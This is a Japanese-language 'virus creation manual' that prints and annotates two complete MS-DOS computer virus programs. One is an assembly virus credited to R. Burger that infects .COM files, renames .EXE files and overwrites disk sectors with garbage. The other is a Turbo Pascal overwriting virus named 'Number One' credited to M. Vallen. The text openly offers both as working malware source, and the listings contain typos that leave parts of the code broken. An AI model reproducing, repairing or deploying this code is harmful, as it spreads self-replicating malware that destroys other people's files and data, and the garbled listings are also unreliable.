******************************************************************* / / * ウイルス作成マニュアル - 日本語版 - * / / * 訳 : ***** * / / ******************************************************************* / ウイルスは今日、知られているほとんどのコンピュータ言語で表現することができます。 けれども、以前までは効果的な ウイルスのほとんどはアセンブラ言語で書かれていまし た。 ウイルスはその限定された能力の為に、Basicでは書かれることはないと考えられて いました。しかしそれは偽りです。Basicを正確に使えば非常に効果的なウイルスを 作り出す能力を持っていることが立証されるでしょう。BasicとAssemblyが結び つけば、将来、ウイルスの有効性を強めることが可能でしょう。 この論文では私たちは私の興味のある B.fix、Rburger、Vallenらによって書か れたAssembly、Pascal、Basic記述のウイルスを調べることにします。これらのウイルス プログラムを実行する場合注意を払ってください。コンパイル する場合は別のディスクを 使ってください。 /* アセンブラで書かれたウイルスの場合 -------------------------------------- */ アセンブリがオペレーティングシステムセキュリティを回避するユニークな機能を持ちあわせているため, 大抵のウイルスはアセンブリで書かれます。この場合はMS-DOS2.1環境下で書かれたウイルス の例ですが、後のバージョンでもコンパイルすることはできます。文章では部分的に説 明するようにしています。プログラマがもし切望されるならそれらの部分は削除し てしようしてください。 *********************************************************************** ; Program Virus ; Version 1.1 ; Writter : R. Burger ; Created 1986 ; これはコンピュータ・ウイルスのためのデモンストレーションプログラムです。このプログラムは自分 ; 自身を置き換え、他のプログラムを修正する能力を持っています ;********************************************************************** Code Segment Assume CS:Code progr equ 100h ORG progr ;********************************************************************** ; 3つの NOP はそれにウイルスを識別することを許すウイルスの目印バイト ; の役割をします ;********************************************************************** MAIN: nop nop nop ;********************************************************************** ; ポインタの初期化 ;********************************************************************** mov ax,00 mov es:[pointer],ax mov es:[counter],ax mov es:[disks],al ;********************************************************************** ; 選択可能なドライブの取得 ;********************************************************************** mov ah,19h ;drive? int 21h ;********************************************************************** ; 現在のドライブのカレントパスの取得 ;********************************************************************** mov cs:drive,al ;save drive mov ah,47h ;dir? mov dh,0 add al,1 mov dl,al ;in actual drive lea si,cs:old_path ; int 21h ;********************************************************************** ; 現在存在しているドライブの個数の取得。もし一つの場合は検索用のポインタは ; +6と設定されます ;********************************************************************** mov as,0eh ;how many disks mov dl,0 ; int 21h mov al,01 cmp al,01 ;one drive jnz hups3 mov al,06 hups3: mov ah,0 lea bx,search_order add bx,ax add bx,0001h mov cs:pointer,bx clc ;********************************************************************** ; これ以上の*.comファイルを発見できない時、キャリーが付けられます。それから、 ; 不要な仕事を避けるために、 *.exeファイルが*.comファイルにリネームされ、感染され ; ます。それは、感染されやや大きい実行プログラムをスタートするとき次のエラーメッセ ; ージを表示します。"Program to largeto fit memory" ;********************************************************************** change_disk: jnc no_name_change mov ah,17h ;change .EXE to .COM lea dx,cs:maske_exe int 21h cmp al,0ffh jnz no_name_change ;.EXE found? ;********************************************************************** ; もし、 *.comと*.exeの何れも見つからない時はセクタがシステムタイマの…ミリ秒のう ; ちに上書きされるでしょう。これは記憶メディアの「伝染」が完了する時間で ; す。ウイルスはその破壊や感染から何も見出すことは出来ません ;********************************************************************** mov ah,2ch ; read system clock int 21h mov bx,cs:pointer mov al,cs:[bx] mov bx,dx mov cx,2 mov dh,0 int 26h ; write crap on disk ;********************************************************************** ; オーダーテーブルの検索の終了に達したことを探知した場合は終了です ;********************************************************************** no_name_change: mov bx,cs:pointer dec bx mov cs:pointer,bx mov dl,cs:[bx] cmp dl,0ffh jnz hups2 jmp hops ;********************************************************************** ; 検索のオーダーテーブルによる新しいドライブを取得しそれを選択します ;********************************************************************** hups2: mov ah,0eh int 21h ;change disk ;********************************************************************** ; ルートディレクトリからスタート ;********************************************************************** mov ah,3bh ;change path lea dx,path int 21h jmp find_first_file ;********************************************************************** ; ルートからスタートした時に、最初のサブディレクトリを検索します。古い ディレクトリで最 ; 初に*.exeファイルを*.comファイルにコンバートします ;********************************************************************** find_first_subdir: mov ah,17h ;change .exe to .com lea dx,cs:maske_exe int 21h mov ah,3bh ;use root directory lea dx,path int 21h mov ah,04eh ;search for first subdirectory mov cx,00010001b ;dir mask lea dx,maske_dir ; int 21h ; jc change_disk mov bx,CS:counter INC,BX DEC bx jz use_next_subdir ;********************************************************************** ; 次のディレクトリを検索する。もしそれ以上ディレクトリが ; 見つからなかったらドライブを変更する ;********************************************************************** find_next_subdir: mov ah,4fh ; search for next subdir int 21h jc change_disk dec bx jnz find_next_subdir ;********************************************************************** ; 発見したディレクトリを選択する *********************************************************************** use_next_subdir: mov ah,2fh ;get dta address int 21h add bx,1ch mov es:[bx],'\` ;address of name in dta inc bx push ds mov ax,es mov ds,ax mov dx,bx mov ah,3bh ;change path int 21h pop ds mov bx,cs:counter inc bx mov CS:counter,bx ;********************************************************************** ; 最初に.comファイルをカレントディレクトリ内で発見します。それらが違えば、次のディ ; レクトリを検索します ;********************************************************************** find_first_file: mov ah,04eh ;Search for first mov cx,00000001b ;mask lea dx,maske_com ; int 21h ; jc find_first_subdir jmp check_if_ill ;********************************************************************** ; もし、プログラムが犯されていれば(感染されていたら)他の プログラムを検索 ; します ;********************************************************************** find_next_file: mov ah,4fh ;search for next int 21h jc find_first_subdir ;********************************************************************** ; 既にウイルスに感染されたチェック *********************************************************************** check_if_ill: mov ah,3dh ;open channel mov al,02h ;read/write mov dx,9eh ;address of name in dta int 21 mov bx,ax ;save channel mov ah,3fh ; read file mov ch,buflen ; mov dx,buffer ;write in buffer int 21h mov ah,3eh ;close file int 21h ;********************************************************************** ; このルーチンは3つのNop's(NO OPERATION)を検索します。感染が既に存在して ; いる時はまた検索を再開しなければなりません ;********************************************************************** mov bx,cs:[buffer] cmp bx,9090h jz find_next_file ;********************************************************************** ; このルーチンはMS-DOSのライトプロテクトによる場合もしそれが存在しているならとて ; も重要です ;********************************************************************** mov ah,43h ;write enable mov al,0 mov dx,9eh ;address of name in dta int 21h mov ah,43h mov al,01h and cx,11111110b int 21h ;********************************************************************** ; 読み書きのアクセスの為のファイルオープン *********************************************************************** mov ah,3dh ;open channel mov al,02h ;read/write mov dx,9eh ;address of name in dta int 21h ;********************************************************************** ; プログラムの日付部を読み、将来使うために保存します ;********************************************************************** mov bx,ax ;channel mov ah,57h ;get date mov al.0 int 21h push cx ;save date push dx ;********************************************************************** ; このジャンプは将来使用するために保存されたプログラムの 0100h番地に位置を ; 定めます *********************************************************************** mov dx,cs:[conta] ;save old jmp mov cs:[jmpbuf],dx mov dx,cs:[buffer+1] ;save new jump lea cx,cont-100h sub dx,cx mov cs:[conta],dx ;********************************************************************** ; ウイルスはそれ自身をファイルのスタート位置にコピーします ;********************************************************************** mov ah,57h ;write date mov al,1 pop dx pop cx ;restore date int 21h ;********************************************************************** ; ファイルを閉じます ;********************************************************************** mov ah,3eh ;close file int 21h ;********************************************************************** ; 古いジャンプアドレスの復元。ウイルスはアドレス「Conta」においてホストプログラムのスタート ; にいたジャンプをセーブします。これは可能な限り ホストプログラムの実行状態を維 ; 持するために行われます。保存した後、それは ウイルスを含んでいられるジャン ; プアドレスでまた働きます。ウイルスのジャンプアドレスはメモリの ジャンプアドレスとは異な ; るので注意してください ;********************************************************************** mov dx,cs:[jmpbuf] ;restore old jump mov cs:[conta],dx hops: nop call use_old ;********************************************************************** ; ホストプログラムの再起動 ;********************************************************************** cont db 0e9h ;make jump conta dw 0 mov ah,00 int 21h ;********************************************************************** ; プログラムのスタートでパスを選択し再び活動的になります ;********************************************************************** use_old: mov ah,0eh ;use old drive mov dl,cs:drive int 21h ;********************************************************************** ; プログラムのスタートでパスを選択し再び活動的になります ;********************************************************************** mov ah,3bh ;use old drive lea dx,old_path-1 ;get old path and backslash int 21h ret search_order db 0ffh,1,0,2,3,0ffh,00,offh pointer dw 0000 ;pointer f. search order counter dw 0000 ;counter f. nth. search disks db 0 ;number of disks maske_com db "*.com",00 ;search for com files maske_dir db "*",00 ;search for dir's maske_exe db offh,0,0,0,0,0,00111111b db 0,"????????exe",0,0,0,0 db 0,"????????com",0 maske_all db offh,0,0,0,0,0,00111111b db 0,"???????????",0,0,0,0 db 0,"????????com",0 buffer equ 0e00h ;a safe place buflen equ 230h ;lenght of virus!!!! ;carefull ;if changing!!!! jmpbuf equ buffer+buflen ;a safe place for jmp path db "\",0 ;first place drive db 0 ;actual drive back_slash db "\" old_path db 32 dup (?) ;old path code ends end main [ END OF THIS VIRUS PROGRAM ] /* Pascal で書かれたウイルスの場合 ------------------------------------- */ Pascalは目玉が飛び出るほどのすごいコンピュータ ・ウイルスを作り出すことができる、 もう一つの高水準言語です。特にTurboPascalの使用法が必要とされています。 ウイルスはしばらくの間、BBSを通して下に利用可能でした。 {*********************************************************************} {* ウイルス名:NO.1 *} {* *} {* このウイルスを扱う場合は注意してください *} {* No.1はすべての*.comファイルに感染します - No.1のプログラムコードで上書きさ *} {* れたファイルの ファイル名は表示されます。もし、すべてのファイルが感染されてい *} {* たりそうでない場合は、発見された*.comファイルにNo.1が与えられます *} {* ファイルはリードオンリー属性がかかった伝染に対しては保護されるでしょう。 *} {* *} {* Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) *} {*********************************************************************} {C-} {U-} {I-} { Wont allow a user break, enable IO check} { ** Constants ****************************************************** } Const VirusSize = 12027; {Number One's code size} Warning :String[42] {Warning message} = 'This file has been infected ny Number One!'; { ** Type declarations ********************************************** } Type DTARec =Record {Data area for file search } DOSnext :Array[1..21] of Byte; Attr : Byte; Ftime, FDate, FLsize, FHsize : Integer; FullName: Array[1..13] of Char; End; Registers = Record {Register set used for file search } Case Byte of 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); End; { ** Variables ****************************************************** } Var { Memory offset program code } ProgramStart : Byte absolute Cseg:$100; { Infected marker } MarkInfected : String[42] absolute Cseg:$180; Reg : Registers; { Register set } DTA : DTARec; { Data area } Buffer : Array[Byte] of Byte; { Data Buffer } TestID : String[42]; { To recognize infected files } UsePath : String[66]; { Path to search files } { Lenght of search path } UsePathLenght: Byte absolute UsePath; Go : File; { File to infect } B : Byte; { Used } { -- Program code------------------------------------------ } Begin WriteLn(Warning); { Display warning message } GetDir(0, UsePath); { get current directory } if Pos('\', UsePath) <> UsePathLenght then UsePath := UsePath + '\'; UsePath := UsePath + '*.COM'; { Define search mask } Reg.AH := $1A; { Set data area } Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } Reg.AH := $4E; Reg.DS := Seg(UsePath); Reg.DX := Ofs(UsePath[1]); Reg CX := $ff; { Set attribute to find ALL files } MsDos(Reg); { Find first matching entry } IF not Odd(Reg.Flags) Then { If a file found then } Repeat UsePath := DTA.FullName; B := Pos(#0, UsePath); If B > 0 then Delete(UsePath, B, 255); { Remove garbage } Assign(Go, UsePath); Reset(Go); If IOresult = 0 Then { If not IO error then } Begin BlockRead(Go, Buffer, 2); Move(Buffer[$80], TestID, 43); { Test if file already ill(Infected) } If TestID <> Warning Then { If not then ... } Begin Seek (Go, 0); { Mark file as infected and .. } MarkInfected := Warning; { Infect it } BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); Close(Go); { Say what has been done } WriteLn(UsePath + 'infected.'); Halt; {.. and halt the program } End; Close(Go); End; { The file has already been infected, search next. } Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); { ......................Until no more files are found } Until Odd(Red.Flags); Write(`'); {Give a smile } End. けれども、これは基本的で効果的なウイルスです。このウイルスの場合*.comファイルだけが 感染します。ウイルスのサイズは12KBで日付エントリをチェンジします。 Basicでのウイルスの作成方法はまた今度の機会に…